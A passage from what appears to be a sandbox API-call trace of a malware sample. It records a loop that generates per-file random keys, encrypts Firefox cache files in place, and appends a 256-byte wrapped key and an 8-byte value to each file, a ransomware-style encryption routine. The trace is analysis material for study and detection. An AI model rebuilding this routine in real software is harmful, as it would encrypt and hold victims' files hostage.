Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.956] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0183.967] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.967] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0788*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0183.968] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefa [0183.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec858*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec858*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.968] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec858*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec858*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.969] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.969] CloseHandle (hObject=0x1b80) returned 1 [0183.971] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ece88 | out: pbBuffer=0x30ece88) returned 1 [0183.971] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.971] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D6F079F21194AF40050B050CF0C5B7B7593CB819", dwFileAttributes=0x80) returned 1 [0183.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb7d8 [0183.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.971] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0183.996] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.996] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0688*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0688*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0183.997] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfe [0183.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.997] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ece88*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ece88*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.997] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ece88*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ece88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.998] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.998] CloseHandle (hObject=0x1b80) returned 1 [0184.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb1a8 | out: pbBuffer=0x30eb1a8) returned 1 [0184.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.006] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D6D7AC0B3D4DAC40D7A42CBE0FCCD3EF6B2BB312", dwFileAttributes=0x80) returned 1 [0184.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb2b0 [0184.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.007] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x1d17, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d17, lpOverlapped=0x0) returned 1 [0184.082] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-7447, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.082] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f15a0*, nNumberOfBytesToWrite=0x1d17, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f15a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d17, lpOverlapped=0x0) returned 1 [0184.083] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d17 [0184.083] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.083] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb1a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb1a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.083] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb1a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb1a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.084] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.084] CloseHandle (hObject=0x1b80) returned 1 [0184.086] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb9e8 | out: pbBuffer=0x30eb9e8) returned 1 [0184.086] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.086] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D6988133383F46B313E92283511D51D44694FF4B", dwFileAttributes=0x80) returned 1 [0184.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec648 [0184.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.088] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.101] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.102] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.102] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0184.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb9e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb9e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.102] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb9e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb9e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.103] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.103] CloseHandle (hObject=0x1b80) returned 1 [0184.105] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb4c0 | out: pbBuffer=0x30eb4c0) returned 1 [0184.105] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0184.105] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D5A4AE26A24C49F9F49B1094C48F8119295244FD", dwFileAttributes=0x80) returned 1 [0184.105] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed098 [0184.105] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.105] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x43e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x43e6, lpOverlapped=0x0) returned 1 [0184.110] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-17382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.110] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x43e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43e6, lpOverlapped=0x0) returned 1 [0184.110] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43e6 [0184.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb4c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb4c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.111] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb4c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb4c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.111] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.112] CloseHandle (hObject=0x1b80) returned 1 [0184.113] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ebaf0 | out: pbBuffer=0x30ebaf0) returned 1 [0184.114] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.114] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D2F307A633E4749EC8D91B11B77DF535A832EF76", dwFileAttributes=0x80) returned 1 [0184.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec018 [0184.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.114] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x1516, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x1516, lpOverlapped=0x0) returned 1 [0184.127] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5398, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.127] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0da0*, nNumberOfBytesToWrite=0x1516, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0da0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1516, lpOverlapped=0x0) returned 1 [0184.127] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1516 [0184.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ebaf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ebaf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.128] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ebaf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ebaf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.128] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.128] CloseHandle (hObject=0x1b80) returned 1 [0184.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb8e0 | out: pbBuffer=0x30eb8e0) returned 1 [0184.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.130] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D23EB138FBF38277931754F5E6DF1A72B541893A", dwFileAttributes=0x80) returned 1 [0184.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ebd00 [0184.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.130] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0184.142] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.142] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0688*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0688*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0184.143] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdff [0184.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb8e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb8e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.143] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb8e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb8e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.144] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.144] CloseHandle (hObject=0x1b80) returned 1 [0184.145] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec540 | out: pbBuffer=0x30ec540) returned 1 [0184.145] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.145] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D225DA0B1EFA09664F97A0B8D95C35FBB61AEDF1", dwFileAttributes=0x80) returned 1 [0184.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb7d8 [0184.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.146] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x30568, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x30568, lpOverlapped=0x0) returned 1 [0184.179] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-197992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.179] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x30568, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x30568, lpOverlapped=0x0) returned 1 [0184.180] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x30568 [0184.180] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec540*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec540*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.181] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec540*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.181] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.182] CloseHandle (hObject=0x1b80) returned 1 [0184.191] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec960 | out: pbBuffer=0x30ec960) returned 1 [0184.191] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0184.191] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D201DA736989E8CEB42A24C67E5584739CC2A633", dwFileAttributes=0x80) returned 1 [0184.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ece88 [0184.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.192] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0184.237] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.237] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09c8*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0184.238] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113c [0184.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.290] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec960*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec960*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.300] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.301] CloseHandle (hObject=0x1b80) returned 1 [0184.303] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec228 | out: pbBuffer=0x30ec228) returned 1 [0184.303] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.303] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D167BB9FA19BC41840B1B5DF5C20CDFCDA1975A6", dwFileAttributes=0x80) returned 1 [0184.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ebaf0 [0184.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.303] ReadFile (in: hFile=0x1b80, lpBuffer=0x555b90, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x2ca, lpOverlapped=0x0) returned 1 [0184.304] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-714, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.305] WriteFile (in: hFile=0x1b80, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2ca, lpOverlapped=0x0) returned 1 [0184.305] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2ca [0184.305] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.305] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec228*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec228*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.305] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec228*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec228*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.306] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.306] CloseHandle (hObject=0x1b80) returned 1 [0184.307] CryptGenRandom 